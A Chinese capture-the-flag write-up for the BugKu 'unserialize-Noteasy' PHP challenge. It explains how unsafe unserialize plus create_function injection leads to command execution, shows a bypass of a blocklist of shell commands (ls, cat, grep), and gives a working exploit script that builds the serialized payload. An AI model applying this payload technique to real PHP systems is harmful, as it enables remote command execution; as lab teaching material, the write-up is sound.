0


BugKu-WEB-unserialize-Noteasy

前言

人道是,

纵使风雨兼程路,笑对人生百态情.

一起用一道序列化开启暑假.


正文

  1. <?php
  2. if (isset($_GET['p'])) {
  3. $p = unserialize($_GET['p']);
  4. }
  5. show_source("index.php");
  6. class Noteasy
  7. {
  8. private $a;
  9. private $b;
  10. public function __construct($a, $b)
  11. {
  12. //在check后将ab拼接执行
  13. $this->a = $a;
  14. $this->b = $b;
  15. $this->check($a.$b);
  16. eval($a.$b);
  17. }
  18. public function __destruct()
  19. {
  20. //强制转换string后进行check
  21. $a = (string)$this->a;
  22. $b = (string)$this->b;
  23. $this->check($a.$b);
  24. $a("", $b);//挺迷的其实,以空字符串""作为函数名调用,并将$b作为参数传递给这个函数,按理来说是逻辑错误
  25. }
  26. private function check($str)
  27. {
  28. //绕过这个有点麻烦
  29. if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
  30. }
  31. public function setAB($a, $b)
  32. {
  33. $this->a = $a;
  34. $this->b = $b;
  35. }
  36. }

整块分析下来只能用非常规方法进行序列化生成并利用

所以我们进行思路整理,我们可以发现

反序列化并不会执行构造函数,所以忽略 __construct()

而__destruct()是必被执行的,那么destruct中的**$a("", $b);**或许能够帮助我们拿到flag

我想起了18年的**Code Breaking **

里面有这样一题:

  1. <?php
  2. $action = $_GET['action'] ?? '';
  3. $arg = $_GET['arg'] ?? '';
  4. if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
  5. show_source(__FILE__);
  6. } else {
  7. $action('', $arg);
  8. }

这题的解法是利用特性使用**create_function **

而create_function由于自身的危险性,在php8以后就被删除

但是这题

emmmmm

那么就干吧


思路

先来讲一下create_function的原理

基本语法如下:

  1. string create_function(string $args, string $code);
  2. -------------------------------------------------------
  3. $double = create_function('$num', 'return $num * 2;');
  4. echo $double(5); // 输出10

那么

a=create_function,b=show_source('');b=;}system("ls");/*;

这样构造闭合

create_function("", ";}system("ls");/*;

就变成了

  1. function ()
  2. {
  3. ;
  4. }
  5. system("ls");/*;}

由于代码是简单拼接,所以可以直接这样闭合,比如:

如果第一个参数可控,则: create_function('){}phpinfo();/*;','')

如果第二个参数可控,则:** create_function('','phpinfo();/;})*

对了,由于check里面限制了ls,所以我们需要绕过,payload就变为

create_function("", ";}system("l\s");/*;


**exp: **

  1. <?php
  2. class Noteasy
  3. {
  4. private $a;
  5. private $b;
  6. public function __construct($a, $b)
  7. {
  8. $this->a = $a;
  9. $this->b = $b;
  10. }
  11. }
  12. $a=new Noteasy("create_function",';}system("l\s /");/*;');
  13. echo serialize($a);

然后用more拿flag

成功

结尾

暑假来临,该卷起来了师傅们**//DOGE**

求赞求关注,感谢

标签: 前端 python web安全

本文转载自: https://blog.csdn.net/m0_52061428/article/details/140037293
版权归原作者 MQ4 所有, 如有侵权,请联系我们删除。

“BugKu-WEB-unserialize-Noteasy”的评论:

还没有评论